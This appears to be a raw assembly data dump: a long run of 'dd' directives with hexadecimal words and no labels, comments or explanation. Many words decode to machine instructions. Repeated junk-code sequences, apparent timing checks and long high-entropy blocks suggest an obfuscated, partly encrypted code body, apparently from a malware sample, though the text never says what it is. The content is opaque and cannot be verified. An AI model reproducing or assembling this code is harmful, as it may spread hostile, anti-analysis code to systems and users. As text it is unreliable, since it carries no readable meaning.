		dd 31BDBD89h, 8B600629h, 29080DBDh, 0CEBE6606h,	858D61AFh
		dd 62C7BD2h, 0FFE2EE80h, 2D9D89D0h, 90062910h, 98A0Fh
		dd 52500000h, 8B66310Fh, 50585AF3h, 310F5250h, 8B90585Ah
		dd 2917D195h, 498D8D06h, 8A062933h, 0BA5250D7h,	527BA076h
		dd 240C895Eh, 46AF48Ah,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 6C35040h, 50819B71h, 5EF18B66h, 15721868h
		dd 0D2DBA0Eh, 348164D3h, 15621824h, 0FF7EB20Eh,	292881B5h
		dd 0C3B0BE06h, 0D0FF657Ah, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 9FC35040h, 0E923F73Eh, 13h, 639BAB31h
		dd 0DF8DB139h, 1FC23803h, 0B5465E38h, 8B8091EEh, 292881BDh
		dd 81FDB206h, 570D0FEEh, 3C7F0321h, 4D6DEE81h, 0C78140E5h
		dd 0F8h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Dh,	3C35141h, 0F9FF6F86h, 0C5F8A91Fh, 418529C6h, 0C706291Bh
		dd 202447h, 6A6000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 160424h, 56460000h, 0A6C77C3h, 0E5858950h, 5E062903h
		dd 2297BD83h, 0F000631h, 17E84h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0A8EA7025h
		dd 0B1A539AFh, 28C78341h, 0C786F680h, 696A2E07h, 0ADBD8964h
		dd 0C706292Fh, 74610447h, 0B5090061h, 62924B1h,	229F858Bh
		dd 0BE660631h, 5E83FFAh, 0EB000000h, 0CE5B2FB1h, 5E9h
		dd 60179F00h, 895AC216h, 6A0C47h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0B50959C3h, 6291E29h
		dd 22A3858Bh, 0EA800631h, 84789A2h, 0E45BD01h, 0C7830629h
		dd 56006A28h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 3810FF1h, 80000000h, 7C721DEh, 6E6F632Eh
		dd 5134BE66h, 660447C7h, 6A006769h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 2B1CC356h
		dd 8B36A1D6h, 2911A5B5h, 9B858B06h, 8B063122h, 2923B5B5h
		dd 0C478906h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Dh,	49C35242h, 0EEA55471h, 5C3B8141h, 79B58B50h, 8906291Bh
		dd 2910358Dh, 97858B06h, 0BA063122h, 58F57A80h,	6A084789h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0E8A7C351h, 10h, 44DEE88Bh, 0BA7F7122h, 88535E4Fh
		dd 98D58CF3h, 0E558D09h, 585E0629h, 0FF19589h, 81660629h
		dd 8D1DA3EAh, 292DD58Dh, 399D8906h, 5006292Dh, 0A3D7BA66h
		dd 66240C89h, 0A4B9EA81h, 275DBD31h, 0B5FF0629h, 6293349h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 74C35545h
		dd 8BBAA6D0h, 292AE595h, 3A56806h, 11E9DB82h, 8C000000h
		dd 593F954Ch, 0EB96DDD9h, 6EF41E8Fh, 91062B2Ch,	5B240481h
		dd 6A247E0Ch, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 299EC355h, 292E41BDh, 81B5FF06h
		dd 8B062928h, 8BD0FFD0h, 291EE1B5h, 69958B06h, 0B8062917h
		dd 0
		dd 0DD8D0360h, 0E8062917h, 0Fh,	794EBF76h, 791BA74Fh, 0A02550D2h
		dd 0E9D6C8BFh, 6, 9F82DCFh, 615EC6DDh, 0EA03CE81h, 0C00B29E0h
		dd 66840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 11C82C3h, 994230BEh, 0BE9h, 2EC42000h
		dd 170830E4h, 65A23353h, 180DB5FFh, 6A0629h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 98CEEFC3h
		dd 0A156284Dh, 31E995FFh, 85310629h, 62905D5h, 8A0FC08Bh
		dd 5, 0A0E28166h, 9DBD839Ah, 62930h, 0BD830975h, 6290075h
		dd 50197400h, 0B8C08B53h, 42Dh,	0DA18589h, 9D8D0629h, 62BAB09h
		dd 585BD3FFh, 75BD83h, 74000629h, 0B8535017h, 42Dh, 0DA18589h
		dd 9D8D0629h, 62BA7AAh,	585BD3FFh, 0EE9h, 769E2300h, 0C543737Bh
		dd 6EDCC7BFh, 815999A4h, 35AA15E6h, 3BBE6660h, 0E8C08BACh
		dd 0Ch,	0EA1979E0h, 1C12FF7h, 0CDBBC169h, 68B0Fh, 0B5290000h
		dd 6292F9Dh, 0E9C08B5Eh, 32h, 64448176h, 0Bh dup(0)
		dd 20E90000h, 8F000005h, 55B3A350h, 18FE7C8Dh, 0E20436BDh
		dd 0B0568477h, 0CF9F5FD2h, 0E568CE13h, 0B8359771h, 70FB5CBAh
		dd 0C94024C2h, 0D2C0A105h, 7A3BC361h, 0C40EB548h, 0BF11E960h
		dd 797DD9D9h, 7BCF169Bh, 1CE4C128h, 1F7432B9h, 3DB3D39h
		dd 825A3C8Ah, 4C65CB2Eh, 85EE4F84h, 6C3E1E91h, 0B1988B80h
		dd 0A7548C54h, 6C3E0073h, 5FA6E980h, 0EC5CB8EBh, 7BDD2E2Ah
		dd 89EA2CA1h, 70806C3Dh, 7B42C9A2h, 15F05610h, 0EA76289Eh
		dd 0F85CAF1Bh, 0E2889026h, 3AB30B3Ch, 0F67DDE38h, 42C9A244h
		dd 0B73C9F79h, 5D3F9161h, 74A28BD0h, 806C3E03h,	0E357A5EEh
		dd 4B7CA2B6h, 1DFB7BF0h, 889015B9h, 0ED231537h,	4422D30Fh
		dd 2E42240Fh, 806CD1D0h, 0EF61C553h, 4224AD09h,	0D1A41703h
		dd 20D806Ch, 26CEDD3Bh,	447ADD04h, 9C06C354h, 0B3E77C17h
		dd 806C1040h, 0B99FE6A9h, 67CCh, 454B7900h, 94763383h
		dd 6F501B19h, 482C82D6h, 0B80579C1h, 61806BFDh,	0E5BB0F84h
		dd 4A3C8A07h, 4FC52D4h,	5E861016h, 947ADDD8h, 1, 0BED4B51h
		dd 4DCB286h, 0EF3083F7h, 0F699806Ch, 0DD05DBAFh, 5D845A2Ch
		dd 0AC4AD8AEh, 0ED91497Ah, 0ED268009h, 8050B982h, 0C6FAB26h
		dd 0F5806CEFh, 688E4EAAh, 5AD1058Ch, 1FEB66C4h,	9650A1B9h
		dd 665FC785h, 26268080h, 147FCB3Ah, 0CF167DCDh,	840DE90Fh
		dd 2896C22h, 71825F39h,	20A4571Bh, 0E57C74FEh, 7FB67ADCh
		dd 0BF000000h, 82EB66C4h, 0F9DF5636h, 7DF65709h, 2DF1878Dh
		dd 3B3BB614h, 7F070952h, 0DDE6AAF1h, 0ABB93A7Ch, 7F20806Ch
		dd 68E5BB19h, 0D221389Eh, 0BD61E714h, 0DD28BB35h, 64777Ah
		dd 0C4FC0000h, 3A56CE66h, 0FFD847A1h, 9B7CD294h, 69F05610h
		dd 936A2C9Ah, 3367AE18h, 806CADC0h, 38DE6629h, 0C72E50E6h
		dd 0AE37B8FEh, 0F1A2806Ch, 2FA1859Bh, 5843D9E1h, 0CE0B9B74h
		dd 3F064D3Dh, 28A57BD9h, 1CC4A12Ah, 99191DEDh, 1A806CEEh
		dd 3D60CD33h, 77F8F7D7h, 9B1B0321h, 7ADD4F59h, 191h, 61C45A00h
		dd 0CB351CEAh, 8560689Dh, 256BB80Eh, 9FFD1F69h,	12D45D39h
		dd 0E2B2FE27h, 17155E4h, 6E41FCD0h, 26C51022h, 0D9EA3CD2h
		dd 0A547F77Ch, 0E26BC2F4h, 6CC443B4h, 9AE5AE80h, 0B411E72Ch
		dd 0A68FD43Fh, 0C3D6595Dh, 50C3806Ch, 0C3D60404h, 96F97A45h
		dd 9A9E7ED0h, 95FE48C3h, 8E6E884Ah, 0F24FA307h,	58695C3h
		dd 2DAEB33h, 5D2DA006h,	0C92F2F76h, 0C302E46Dh,	3691ED75h
		dd 0BF86CDBDh, 0DEBC98CBh, 0F39CD27Eh, 3CA1088Fh, 956475C6h
		dd 0E8335C86h, 76D23981h, 0BE3797B0h, 0AB03D5BCh, 1FC1D622h
		dd 4374B471h, 0BD9B10F5h, 143C8h, 59C06500h, 332F89D2h
		dd 0EE61D2C0h, 0C748806Ch, 0F3D90AFCh, 0BAAE6492h, 0BAE67A45h
		dd 73D29C71h, 4D8BE148h, 0CAA264C2h, 91759343h,	0CE8AE18h
		dd 2357B885h, 86963FD0h, 0BE025639h, 0E37EF6Dh,	603727AEh
		dd 74B39680h, 0B51EFE22h, 0B001CAA9h, 7673014Ch, 56A2D33Ch
		dd 5EE7h, 52C04C00h, 0C98A88D5h, 7B19C71h, 540E8D19h, 0D024AD46h
		dd 4DA1190Ah, 6C3FEAh, 338599BFh, 560DACDh, 8AEEE314h
		dd 0D3C76230h, 6CA960h,	2B09DC99h, 9AB643D0h, 5145AE89h
		dd 319C6D7Eh, 2C8F8BDCh, 95806CEBh, 0EFB0AE8Ah,	0DBB2066Fh
		dd 55309650h, 0D03B68DEh, 8AD784h, 0C05C0000h, 8D89D259h
		dd 7A45DFFDh, 17C9B1E2h, 0DA3C3EB7h, 0FB3F8B02h, 86960031h
		dd 78CE4526h, 8E3F450Eh, 886C999Eh, 13C5A52Ch, 6D9529FDh
		dd 9A7253CBh, 0EE4A2313h, 1A9D8372h, 8147E5C8h,	623791E7h
		dd 4586FCD9h, 0AC8086C7h, 0A505886Eh, 0EDA3076Eh, 60268009h
		dd 0DBBD0D84h, 2A8D8900h, 978CC71Bh, 13C5A58Ch,	5C9529FDh
		dd 0B46562C4h, 0FC52260Fh, 0CCCA1B71h, 86B7F17Bh, 50393D66h
		dd 8D8C5880h, 60747228h, 0B2BD9BE2h, 89D259C0h,	5DC63A8Dh
		dd 2480507Ah, 0DE7BDDADh, 68F6C22Dh, 298D4327h,	0F054B2A0h
		dd 746D8179h, 29A4536Ah, 0D2AA9B83h, 997D9B5Bh,	69F05610h
		dd 6FF12C9Ah, 0A52E8EB7h, 13CBFE71h, 51B8EBE9h,	2AA37B9Dh
		dd 30B5Ch, 3FF80000h, 0EC1FC4B4h, 69E0441Ah, 0D75C3F91h
		dd 56DBBD13h, 0D5583E90h, 50DDB315h, 0DA293096h, 58D3AA6Ch
		dd 0C13028EEh, 0EC813A79h, 4, 89243489h, 4C681E6h, 83000000h
		dd 348704EEh, 89525C24h, 4C281E2h, 83000000h, 148704EAh
		dd 4895C24h, 35A86824h,	14890000h, 4EC8124h, 89000000h
		dd 4BB9240Ch, 8906312Bh, 8B5459C8h, 0C4832414h,	34815004h
		dd 0CE7B2724h, 8428F02h, 8B850h, 0D0010000h, 7B273081h
		dd 0FF5802CEh, 835A2434h, 48B04C4h, 0E6895624h,	4C681h
		dd 0C6830000h, 24348704h, 4D3AE95Ch, 3C3FFFF8h,	6A2F5A20h
		dd 0B8A40C7Eh, 6312FDEh, 0E0FFC503h, 0A063744h,	47D647C2h
		dd 53C70C33h, 6E237183h, 729CFF1Dh, 55DFAEDEh, 7A7C7467h
		dd 78429698h, 5D32BDBCh, 7BD6D73Ah, 0A8517B0h, 20CFF9B0h
		dd 5CA15F16h, 1E64A912h, 425D0E21h, 52D0B448h, 5553D8C9h
		dd 3FF043B7h, 451621DFh, 475B3B4Dh, 4EE79595h, 19606EB6h
		dd 8CA74EFh, 35C63A9Ch,	222C62EFh, 31B98D8Dh, 0EE80631h
		dd 0C000000h, 8B849439h, 0B77ADC93h, 56D60656h,	0C5BD8B17h
		dd 5F062928h, 0DFDBD8Bh, 8D890629h, 6291E6Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0C4C35242h, 7FA0E556h
		dd 6156E8D3h, 59B589h, 0BF0F0629h, 8185C7C7h, 1406292Dh
		dd 0F000059h, 68Eh, 7DB58B00h, 0C7062911h, 29200585h, 6
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 33A3A67Bh, 880FD772h, 5,	99E08166h, 0F5B5FF7Eh
		dd 2906290Fh, 29176D9Dh, 0E995FF06h, 6A062931h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0AF21C357h, 30DD9D09h, 6A0629h, 59195FFh, 0C08B0629h
		dd 0F3931EEBh, 5E4074A9h, 0F1E4351Eh, 0A0EA385Bh, 0EF58E0Ah
		dd 1EAAA738h, 6F6E89A9h, 4E084197h, 10E8h, 0D9341900h
		dd 14536AE2h, 70B97194h, 0AAAE259Eh, 0BE9EFh, 90A60000h
		dd 4A05C6B1h, 0A31C0469h, 0B70F5A21h, 1CC281F8h, 6600005Dh
		dd 7D96DE81h, 0B9h, 6E900h, 0A92A0000h,	995E555Dh, 581134FFh
		dd 2DB59589h, 0C0810629h, 18678C89h, 880Fh, 0E8810000h
		dd 77D34773h, 3555B589h, 0C0810629h, 2C6BDB69h,	1B05BD89h
		dd 0E9500629h, 0Ah, 0A3EE17FDh,	0DBC2DCFBh, 48FE680h, 0FE90Ah
		dd 1750000h, 9F403BD5h,	0F947B0E7h, 0C2565B97h,	4E9831Dh
		dd 10A1B523h, 0F9810629h, 0FFFFA38Ch, 0FF96850Fh, 8B66FFFFh
		dd 0E900EBDEh, 41Ah, 0FA788B50h, 135C41Ch, 498D06E7h, 8D41B2AFh
		dd 0DA18956Bh, 23814E8Ah, 0F04AACAEh, 0BC1FF97Dh, 5E10737h
		dd 9BEA4E8Ch, 3BBD1C9Fh, 45E8857Ah, 69ED1CC4h, 5DD4B000h
		dd 0FC52A6EDh, 0C9A09219h, 0EF41B2E0h, 0E7A8806Ch, 0D5263391h
		dd 0AC218761h, 42EA48AEh, 6FE2A2B1h, 0A8AAF5D3h, 39BAF8C1h
		dd 0A0806CB2h, 613B99FFh, 563187ECh, 0D2266DDDh, 901BFC1Ah
		dd 69E044A2h, 0E2B1A1E5h, 0EDAA7A5Ch, 0CFA73CBh, 4BC1DBC5h
		dd 506FAA9Ch, 0DEA82384h, 18C1A7F5h, 61A1FEBh, 0C82A28DBh
		dd 9581EA51h, 80761E01h, 0E105E5AEh, 8CC61D92h,	0EE68BE5Ah
		dd 6E83B906h, 1143Ch, 624B0900h, 6CEEC334h, 27402E80h
		dd 0B88C78E3h, 2381D73Eh, 0E266C04Dh, 4B389783h, 0F499806Ch
		dd 6C4B2D8Eh, 0C4376380h, 2D806C4Ah, 5AA5EE62h,	0DB522AECh
		dd 1D19FD1Bh, 184931BAh, 6C4A991Ah, 341F0080h, 0DABF1DEDh
		dd 4F12F874h, 38774BECh, 2C62AEB6h, 2A735A71h, 0CC964BE6h
		dd 0E31781C7h, 806C9790h, 0E9CF1679h, 6FA09E84h, 1C077A45h
		dd 35E96FAAh, 0F723A80Ch, 8695C084h, 1BDB226Dh,	0B29B20F9h
		dd 0A1120069h, 88695C0h, 0CEB8338Ah, 5A5EBA85h,	806EAC7Ch
		dd 0B3047223h, 1E8CBED5h, 0E9010F75h, 0A91443CCh, 4026F84Eh
		dd 0D0830FE8h, 6137AF35h, 56BD0D86h, 4B29CF0Fh,	0E8AA60C6h
		dd 7E312CEh, 9A98E5CCh,	8CBE3F09h, 8D6FEFB0h, 585EA70Ch
		dd 86971EE6h, 56D9DD26h, 4392E75Fh, 2D74855Dh, 250E11CFh
		dd 0A074F953h, 9D6D4BC6h, 6AE8653Bh, 0C7A32E8Ch, 0C3288D05h
		dd 0E75F60D7h, 0DC1E0192h, 8CE9643Ah, 6DDD2C34h, 0E85EAFABh
		dd 0C00450BBh, 7C454B4Bh, 3354A365h, 653496E2h,	1981F5DEh
		dd 0BE7A45BBh, 0DBB315D5h, 34F203DFh, 0DD46F4DFh, 4E0B0C0h
		dd 0C1322F8Dh, 248111EBh, 159E79DFh, 0F04F03C7h, 0A98695EAh
		dd 0E46DC9CDh, 0EB189B9Fh, 9E818695h, 0AEE87B7h, 0E1F13FCEh
		dd 0FD6B501Eh, 61C59BF1h, 0DCB81EE8h, 0D869555h, 525EAFABh
		dd 7ECB6C58h, 92B0845Bh, 6AE3BB8Ch, 0EC35BFE8h,	32CD74B3h
		dd 66000000h, 89D259C0h, 45C6AD8Dh, 669CE57Ah, 86961815h
		dd 9F4593FCh, 5046AFF4h, 869617DFh, 8F7359CAh, 76E46DC9h
		dd 54DDB91Fh, 745BB192h, 3Fh, 0FED4BFDh, 0F6622482h, 1960A307h
		dd 77845D33h, 23C9E22Eh, 407DE25Ah, 0FBC3F7Bh, 7A25806Ch
		dd 9D7BAA1Eh, 0ED4EB43Bh, 0D4806C0Fh, 4D86604Bh, 0A42D896Fh
		dd 3EE4515Fh, 95070563h, 4B0C8747h, 238774EDh, 2B3694E0h
		dd 3A30EFFDh, 427D488Ah, 0E7A4E8A3h, 0D13A0598h, 45838088h
		dd 5564075Ch, 6C12D225h, 7ED93F80h, 0F7DE35F5h,	0A001A5A1h
		dd 0B21CF95Fh, 2A159622h, 9169B0EFh, 20574EB2h,	47BCA5A0h
		dd 0CACA3171h, 412F806Ch, 0D81852D9h, 17D33AD3h, 8835A3Eh
		dd 67EE4E2Ch, 5CC25683h, 0E55A5829h, 0C4806C61h, 0C029725Bh
		dd 6C6161D2h, 0F1C74880h, 6C623EB1h, 7AF8AB80h,	5B3C389Ch
		dd 0E34589D0h, 0D59B853Bh, 0F67DD88Dh, 53ADD330h, 0EEFDDBC0h
		dd 12h,	0E960C447h, 73DFBF11h, 0E62236DFh, 31250CDAh, 1FC4992Ch
		dd 0E0441AECh, 5C3F9169h, 0DBBD13D7h, 583E9056h, 0DDB315D5h
		dd 29309650h, 0D3AA6CDAh, 3028EE58h, 533A79C1h,	0BD55E389h
		dd 623F7D11h, 0ED81D5F7h, 7DAB3BF2h, 8102E5C1h,	0AAE414C5h
		dd 5DEB017Fh, 8704EB83h, 685C241Ch, 133Bh, 81243489h, 4ECh
		dd 242C8900h, 8904EC83h, 4EB82404h, 0BE461213h,	0C01F1F46h
		dd 5458C601h, 83242C8Bh, 576804C4h, 8900003Eh, 4812434h
		dd 5154524h, 8458F15h, 45086D81h, 8B150515h, 8953242Ch
		dd 4C381E3h, 83000000h,	1C8704C3h, 34FF5C24h, 0C4815E24h
		dd 4, 0F846FBE9h, 0B08D08FFh, 0C046032Dh, 0CBE3D7C2h, 17B8DCA9h
		dd 3063136h, 46E0FFC5h,	41120D59h, 0A95E810Ah, 3A4C4CF5h
		dd 9B5E52AEh, 0F025EB3Ch, 0F21151DAh, 6668FCFBh, 1DB1F38Bh
		dd 5E9h, 0FA1ABA00h, 8B66E034h,	0E88166F3h, 0C88BEB92h
		dd 0D6A2BA66h, 3830Fh, 0E2800000h, 0F6B70F69h, 28A0Fh
		dd 0C88B0000h, 0BE6657F9h, 0B158FA4Bh, 0E9B8B0BAh, 14h
		dd 9A16C87Fh, 332F59DDh, 9F4EF5Eh, 0D245C6F1h, 18DC3984h
		dd 9E9h, 0D1075700h, 7F933C80h,	10E9526Ch, 0A8000000h
		dd 2DE42156h, 0EF3C1C6Fh, 29E9C702h, 0FA90101h,	860FD6B7h
		dd 18h,	0DE8h, 1633E700h, 0AEA823A3h, 834C277h,	7BB5CCBh
		dd 595D2C1Fh, 0E5D08166h, 0C850FF9h, 0E9000000h, 7, 7E1C510Dh
		dd 80B639CEh, 8B66F6C6h, 93BE66CFh, 6890F30h, 81000000h
		dd 5E2232C6h, 0C7B70F72h, 0FF18B66h, 5357DAB7h,	0BA5F5AFCh
		dd 1CFB0A16h, 6D31BF66h, 0EE9h,	1B00AF00h, 58E1B930h, 1705258Fh
		dd 0E8F40B86h, 12h, 710BA900h, 0C26950E6h, 324E9626h, 2A29D05Dh
		dd 0E960F771h, 6, 0C3F75E8Bh, 10E9969Eh, 6E000000h, 4B532F79h
		dd 112D9EE8h, 3F0A331Bh, 61408164h, 0E7BB605Ah,	0E85490FDh
		dd 0Eh,	0A8FB0F25h, 43F57536h, 60BB5E27h, 0E380E64Ah, 0FC615B96h
		dd 0FC88B66h, 280h, 0E9F78B00h,	9, 0A7FEC971h, 14CF3280h
		dd 28B0FF0h, 8B000000h,	72BF66C3h, 0F08B6676h, 0E0CBAFCh
		dd 815055E9h, 0D4724DD9h, 0DE805E02h, 2890F03h,	8B000000h
		dd 0D78B66C6h, 10E9h, 6730C900h, 2C8DB0Ah, 0EF39895Ah
		dd 0CA99BD9h, 28BE6679h, 0BDF5809Bh, 3A9D281h, 0BB661346h
		dd 89BF81B7h, 813AC09Dh, 651ED2EFh, 0C68B667Eh,	0F7D09EBBh
		dd 0C7CDBB5Ch, 830F4B4Ah, 0Ch, 6800Fh, 0E8810000h, 615D5A2Fh
		dd 11E9h, 0F8267C00h, 1F3CAC58h, 7088DAF2h, 7CF1FF37h
		dd 0D9B37375h, 11E8h, 0F62C500h, 0D223ADFEh, 0EF8D41C2h
		dd 9C30182Dh, 10E9025Eh, 3B000000h, 0FC4FC81Eh,	0AF97AD6Ah
		dd 142DB35Eh, 5EE1931Eh, 815FF557h, 3C7029E2h, 66C6B64Ah
		dd 66B775BBh, 80F775BAh, 800F98ECh, 1, 49BA66FCh, 0AE8BFh
		dd 0AC20000h, 0D6DC4FA8h, 0CD7D3D5Ch, 0E95BDF8Bh, 8, 0AFC87E0Eh
		dd 0AB1BE959h, 79A667B9h, 0DABF0F56h, 0FF38B66h, 8D0FFFBFh
		dd 6, 7B9CDA81h, 0F78A4488h, 5E8h, 7E2FAE00h, 9E93EFFh
		dd 0C6000000h, 0C9864532h, 859BB535h, 38B0F5Eh,	0F000000h
		dd 850FC6B7h, 5, 51D98166h, 9E9F6h, 4BF10000h, 0B57CB106h
		dd 0F9E8CA5Ch, 5850Fh, 0CBE0000h, 0F170B9Bh, 0DF81F6BFh
		dd 3CD42F4h, 800FB5B6h,	6, 800Fh, 81600000h, 812BB7DFh
		dd 28C0F7Eh, 60000000h,	11E86161h, 67000000h, 0B614C5D6h
		dd 0CC96C448h, 0FCB21931h, 7D6A2CFFh, 0F08B665Eh, 0FE8h
		dd 11C60500h, 0C730697Eh, 38F183A7h, 420A7C30h,	86D88160h
		dd 507A8B53h, 0E959615Bh, 5, 0B3E37Fh, 14E8FC7Fh, 0B3000000h
		dd 48BAEEFCh, 0AEB3D138h, 7AAE3508h, 681188B1h,	5B11BC05h
		dd 0B7E28166h, 0CF81667Fh, 0BB66952Dh, 0F960C8BAh, 18B0Fh
		dd 61F90000h, 66C1BF0Fh, 11E9F78Bh, 29000000h, 7D92055Eh
		dd 4EE7E3Ch, 584FE41Bh,	55173A7Dh, 0EDE98166h, 860FE0h
		dd 60000000h, 10860Fh, 0BE90000h, 12000000h, 2B465C91h
		dd 0D50C45A0h, 10E98818h, 4A000000h, 8A6E6AFFh,	4787CF3Bh
		dd 0DA006866h, 6125843Eh, 2AE08166h, 0F1816672h, 44B9DF5Ah
		dd 8B1165A9h, 0CBBF0FFBh, 0E9F2B70Fh, 13h, 291609D3h, 8DE48120h
		dd 0F676E3D4h, 22884CB1h, 669CEBCDh, 0EB75DA81h, 0CF805B52h
		dd 8B0F5000h, 3, 5EDBF780h, 8166D18Ah, 50AA09F7h, 2870Fh
		dd 0F28B0000h, 8E858h, 0DF2B0000h, 52C7F511h, 665194D0h
		dd 8897C681h, 65BE5F58h, 660791FCh, 0D2F9E681h,	0AD98166h
		dd 0CE9E6h, 7F690000h, 0FBAB5162h, 56255604h, 8166D624h
		dd 0E9E08BE9h, 0Ah, 0BBDA97A2h,	0F65E62Ch, 6650D23Bh, 9E7FF381h
		dd 18E0F5Fh, 0FC000000h, 80FE8B66h, 0F60AFD4h, 1684h, 11E900h
		dd 0EC060000h, 34A5FA35h, 0E8E08005h, 0EE4C6FDDh, 8BD552CAh
		dd 81F561DEh, 45A75BDAh, 0A2BE666Ah, 0B3D0B911h, 8A0F7D20h
		dd 2Ah,	0CE8h, 77865B00h, 0C1558EAAh, 80EBB1EFh, 13E956h
		dd 57E10000h, 0C80E45EAh, 5C5D065Fh, 109415D2h,	0EE98594Ch
		dd 0BF665B3Eh, 81664A0Ch, 0E8713DF6h, 12h, 5F9F683Bh, 55DA7197h
		dd 0CD665275h, 0CB314EE7h, 3EBF3C17h, 590DB6B4h, 67E08166h
		dd 0DEC98139h, 606F9B9Eh, 991BEA81h, 66617943h,	66D8A5BEh
		dd 6D37C381h, 50C78B66h, 5E9h, 82457600h, 8B5B2283h, 0E953FCDFh
		dd 0Bh,	8DAE5E10h, 0A25B1306h, 5AC7DEFDh, 6A85EF81h, 66F50C70h
		dd 7B5FD781h, 6840Fh, 66600000h, 61F9D68Bh, 4DC281F9h
		dd 662E8B4Dh, 60E9B5BFh, 0C08166F5h, 0FC615EE3h, 59D0B966h
		dd 0E8F98B66h, 5, 0CDCDC4D5h, 840F3Ch, 59000000h, 81FFBF0Fh
		dd 82D5F9EBh, 0FAF5807Fh, 10E8h, 5C5CE700h, 6C22E1A3h
		dd 8844EC07h, 31FBE60Ah, 7E9EEh, 3EFD0000h, 710ECCC5h
		dd 14E95813h, 0F5000000h, 0F651A705h, 0E742FEEAh, 50E7FF7Dh
		dd 0D97430A0h, 0BB2A43A2h, 255430ECh, 830Fh, 0B8660000h
		dd 8E986BFh, 61000000h,	0F414F310h, 0E9E985DCh,	7, 0DE8A2365h
		dd 6618BB76h, 6660DE8Bh, 0B966F28Bh, 57610708h,	6659E58Ah
		dd 0E95271B9h, 7, 0FC9B0645h, 0E952C0B6h, 10h, 0B59AFEF2h
		dd 95FCD08Ah, 56FA2CAFh, 0E029D683h, 57CBBB66h,	0B4B26BBEh
		dd 8840F7Ah, 0F000000h,	285h, 0FC616000h, 0F381D08Bh, 11F296Fh
		dd 0E7816660h, 8B66428Eh, 0C88061CEh, 0DE932h, 26870000h
		dd 0ABB68941h, 582F3846h, 57AF4E5Dh, 0A605BE66h, 5E858h
		dd 0C0F0000h, 0E997A667h, 5, 1C7DB200h,	81665AEAh, 0E9E5B7D8h
		dd 0Dh,	0CE1F288Ch, 0A9FF9FC8h,	3A265E98h, 11E862h, 18FD0000h
		dd 0D40AA620h, 4B2D08B6h, 116F1832h, 0F8833065h, 50CE8158h
		dd 604A636Dh, 61C2BF0Fh, 0F9B70F52h, 8B66FC59h,	0C78166F7h
		dd 8166B08Dh, 6648B8E0h, 66FFB9BAh, 0B70FCB8Bh,	20BE66F7h
		dd 0E98166AFh, 0BF0FF667h, 0D88166CAh, 0E2810237h, 5AA4996Eh
		dd 38B0Fh, 0B70F0000h, 58A0FD2h, 0BF000000h, 1D7CB278h
		dd 9E9C88Bh, 98000000h,	0CBEA6513h, 1EF8BCF6h, 0AE9FD8Ah
		dd 78000000h, 451458Fh,	0F3E692C4h, 0E8F18B12h,	6, 3508AEB3h
		dd 8D0F7AAEh, 3, 59D3B70Fh, 71B0E081h, 0CB8B5AD8h, 0A5DF8166h
		dd 0F1BF0F6Dh, 606012B0h, 0CE9h, 997C7500h, 7387CBC1h
		dd 4B582D2Fh, 41BE613Fh, 610D086Ch, 0C089CAB9h,	12E902h
		dd 3EF60000h, 0A8E82508h, 1C6C513Dh, 150450CBh,	9A9B9456h
		dd 98C206BFh, 32BE667Dh, 0DA8B66F5h, 801CCD80h,	0D38B10C9h
		dd 15830Fh, 10E90000h, 0FB000000h, 0C246E524h, 0C33FBFADh
		dd 8DB49C66h, 66D8B6A4h, 66968BBEh, 0B6C2A2BFh,	0FF88BA9h
		dd 850FC3BFh, 17h, 118B0Fh, 0CE90000h, 0
		dd 0EA00D883h, 6C6C81D8h, 0B373FFA9h, 8E935h, 0C4550000h
		dd 32C59C4Dh, 0E9F961C2h, 9, 0E397F1E8h, 0CF53730Bh, 63CB810Fh
		dd 0F172FA4h, 587h, 0EAF1B800h,	0BA6650D0h, 7E94E88h, 93000000h
		dd 0F904B455h, 0EE99326h, 9B000000h, 0FD68B939h, 7C2F3CDCh
		dd 0B136FC1Bh, 0B2D88B8Ch, 8ECEBF6Ch, 0BE93C22h, 88000000h
		dd 2F9C2F5Ch, 3DE1045Ch, 0B70FEE90h, 0F1B70FC3h, 10E9h
		dd 5E5B1F00h, 0CF122C87h, 0F4731E74h, 2770186Dh, 52DABA25h
		dd 3CB14339h, 0B6DCD6BAh, 0AF05BB4Ah, 0F381699Bh, 5CF13AFCh
		dd 0E7B712B2h, 59F1C681h, 0BF0F1A83h, 11E852F6h, 3D000000h
		dd 349AC76Dh, 58671E40h, 0ED76B825h, 13409F43h,	10CBD781h
		dd 5A5E04A0h, 12E9h, 81BDA600h,	23F73E9Fh, 2AA7B85Ch, 0D9B8CE4Fh
		dd 0F53A6DEEh, 8166FA8Bh, 0F8A56CEEh, 66DE8B66h, 0FF5F28Bh
		dd 780h, 1840F00h, 0F9000000h, 0F58F957h, 2B8Dh, 0EE96000h
		dd 32000000h, 0A20EFF0Eh, 0F4757FF2h, 31DF0B9Fh, 10E88Ah
		dd 0BA4C0000h, 0CA17B91Eh, 5FD0C351h, 0C6D59A9Eh, 615B6FE1h
		dd 0ED8AB866h, 12E9h, 5A03A100h, 61393360h, 0CFA3228Eh
		dd 5F69075Fh, 0FD0DCF1h, 282h, 8BD08B00h, 0E96160F2h, 14h
		dd 797D1197h, 0D643AE5Ch, 58B12AE9h, 0D239A23Fh, 2D7F5A10h
